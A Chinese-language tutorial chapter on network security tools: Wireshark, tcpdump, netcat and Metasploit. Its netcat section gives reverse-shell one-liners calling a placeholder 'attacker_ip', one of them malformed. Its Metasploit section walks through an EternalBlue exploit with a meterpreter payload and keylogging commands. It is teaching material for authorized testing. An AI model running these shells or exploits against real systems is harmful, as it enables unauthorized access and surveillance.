第74章:网络安全工具

第七十四章:网络安全工具

74.1 Wireshark 抓包分析

什么是 Wireshark?

Wireshark 是最流行的网络协议分析器,让你能够"看见"网络上的数据传输。

graph LR
    A[网络流量] --> W[Wireshark]
    W --> B[解码]
    B --> C[协议分析]
    C --> D[问题排查]

安装 Wireshark

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Ubuntu/Debian
sudo apt install wireshark

# CentOS/RHEL
sudo yum install wireshark

# 启动
wireshark

# 非 root 用户运行
sudo usermod -aG wireshark $USER
# 重新登录

过滤器语法

1
2
3
4
5
# Wireshark 使用 Berkeley Packet Filter (BPF) 语法

# 过滤器类型
# 捕获过滤器:在抓包前过滤
# 显示过滤器:在抓包后过滤
过滤器说明
tcp只显示 TCP 包
udp只显示 UDP 包
ip.addr == 192.168.1.1显示指定 IP
tcp.port == 80显示 80 端口
http.request.method == "GET"HTTP GET 请求

常用显示过滤器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# HTTP 相关
http.request.method == "GET"
http.request.method == "POST"
http.response.code == 200
http.host == "example.com"

# TCP 相关
tcp.flags.syn == 1              # SYN 包
tcp.flags.ack == 1              # ACK 包
tcp.stream eq 5                  # 第 5 个 TCP 流

# DNS 相关
dns.qry.name == "example.com"
dns.flags.response == 0         # DNS 查询

# 显示 HTTP 和 HTTPS(TLS)
http or tls

协议分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 常见协议分析点

# HTTP
# - 请求方法:GET, POST, PUT, DELETE
# - 请求头:User-Agent, Cookie, Host
# - 请求体:POST 数据

# DNS
# - 查询类型:A, AAAA, MX, CNAME
# - 响应码:NOERROR, NXDOMAIN

# TLS/SSL
# - 加密握手过程
# - 证书信息
# - 加密算法

# SMB
# - 文件共享协议
# - Windows 常用

# FTP
# - 21 端口控制
# - 随机端口数据传输

流追踪

1
2
3
4
5
6
7
# 在 Wireshark 中
# 1. 右键点击数据包
# 2. 选择 "Follow" → "TCP Stream"
# 3. 查看完整会话

# 或使用 tshark(命令行版)
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri

74.2 Tcpdump 命令行抓包

基本用法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 安装
# 通常预装

# 基本抓包
sudo tcpdump -i eth0

# 指定网卡
sudo tcpdump -i any

# 保存到文件
sudo tcpdump -i eth0 -w capture.pcap

# 读取文件
tcpdump -r capture.pcap

# 显示内容
sudo tcpdump -i eth0 -n

BPF 过滤器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# 主机过滤
tcpdump host 192.168.1.1
tcpdump src 192.168.1.1
tcpdump dst 192.168.1.1

# 端口过滤
tcpdump port 80
tcpdump src port 443

# 协议过滤
tcpdump tcp
tcpdump udp
tcpdump icmp

# 组合过滤
tcpdump tcp and port 80
tcpdump "tcp[13] & 2 != 0"     # SYN 包
tcpdump "tcp[13] & 16 != 0"     # ACK 包

高级选项

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 显示更多细节
sudo tcpdump -i eth0 -vv

# 不解析域名(快)
sudo tcpdump -i eth0 -n

# 显示十六进制内容
sudo tcpdump -i eth0 -X

# 显示 ASCII 内容
sudo tcpdump -i eth0 -A

# 限制抓包数量
sudo tcpdump -i eth0 -c 100

# 抓包后立即停止
sudo tcpdump -i eth0 -G 5          # 5 秒后停止

常用抓包场景

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# 1. 抓 HTTP 请求
sudo tcpdump -i eth0 -A 'tcp port 80'

# 2. 抓 DNS 查询
sudo tcpdump -i eth0 -n 'udp port 53'

# 3. 抓 SSH 连接
sudo tcpdump -i eth0 'tcp port 22'

# 4. 抓指定 IP
sudo tcpdump -i eth0 host 192.168.1.1

# 5. 抓 HTTP POST 数据
sudo tcpdump -i eth0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'

74.3 Netcat 网络瑞士军刀

Netcat 被称为"网络瑞士军刀",能做几乎任何网络操作。

基本用法

1
2
3
4
5
# 安装
sudo apt install netcat

# 常用命令
# nc [选项] [主机] [端口]

端口扫描

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 扫描单个端口
nc -zv 192.168.1.1 80

# 扫描多个端口
nc -zv 192.168.1.1 22 80 443

# 端口范围
nc -zv 192.168.1.1 1-1000

# UDP 扫描
nc -zuv 192.168.1.1 53

文件传输

1
2
3
4
5
6
7
8
9
# 接收端(服务器)
nc -l -p 4444 > received_file.txt

# 发送端(客户端)
nc 192.168.1.100 4444 < file_to_send.txt

# 目录传输(需要先压缩)
tar czf - directory/ | nc -l -p 4444
nc 192.168.1.100 4444 | tar xzf -

反向 Shell

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
# 攻击者监听
nc -l -p 4444

# 目标执行(Linux)
nc -e /bin/bash attacker_ip 4444

# 目标执行(Windows)
nc -e cmd.exe attacker_ip 4444

# 更好的方式(目标)
bash -i >& /dev/tcp/attacker_ip/4444 0>&1

# 加密反向 shell
openssl s_client -connect attacker_ip:4443
/bin/bash 2>& | openssl s_client -connect attacker_ip:4443 -quiet > /dev/null &

远程管理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# 创建监听服务
nc -l -p 8080

# 测试端口连通性
nc -zv 192.168.1.1 80 -w 3

# 代理功能
nc -l -p 8888 -c "nc target.com 80"

# 获取 banner
echo "QUIT" | nc target.com 21

74.4 Metasploit 渗透框架

简介

Metasploit 是最流行的渗透测试框架,包含大量漏洞利用模块。

graph LR
    A[Metasploit] --> B[模块]
    B --> C[Exploit]
    B --> D[Auxiliary]
    B --> E[Payload]
    B --> F[Post]

基本使用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 安装
# Kali Linux 预装

# 启动 msfconsole
msfconsole

# 常用命令
# search <关键词>   搜索模块
# use <模块>        选择模块
# show options      显示选项
# set <选项> <值>  设置参数
# exploit           执行
# run               执行(Auxiliary 模块)

模块类型

模块说明
Exploit漏洞利用模块
Auxiliary辅助模块(扫描、钓鱼等)
Payload攻击载荷(获取 shell)
Encoder编码器(免杀)
NOP空指令滑块
Post后渗透模块

漏洞利用示例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
# 1. 搜索模块
search type:exploit name:smb

# 2. 使用模块
use exploit/windows/smb/ms17_010_eternalblue

# 3. 查看选项
show options

# 4. 设置参数
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
set LPORT 4444

# 5. 执行
exploit

Meterpreter

Meterpreter 是 Metasploit 的高级载荷,提供丰富的后渗透功能。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# Meterpreter 常用命令
sysinfo              # 系统信息
getuid              # 当前用户
getsystem           # 提权
shell               # 获取 shell
upload              # 上传文件
download            # 下载文件
screenshot          # 截图
keyscan_start       # 键盘记录
keyscan_stop        # 停止记录
ps                  # 进程列表
migrate             # 迁移进程

本章小结

本章我们学习了常用的网络安全工具:

工具用途
Wireshark协议分析、流量抓取
Tcpdump命令行抓包
Netcat网络瑞士军刀
Metasploit渗透测试框架

网络安全工具链:

graph LR
    A[信息收集] --> B[漏洞扫描]
    B --> C[漏洞利用]
    C --> D[权限提升]
    D --> E[后渗透]
    
    F[Wireshark] --> A
    G[Tcpdump] --> A
    H[Netcat] --> C
    I[Metasploit] --> C

💡 温馨提示: 本章工具是网络工程师和安全测试人员的必备技能。请仅在授权环境下使用,如学习实验、渗透测试授权等。


第七十四章:网络安全工具 — 完结! 🎉

下一章我们将学习"CPU 优化",掌握性能分析方法。敬请期待! 🚀

最后修改 March 24, 2026: 新增JavaScript教程 (37305c4)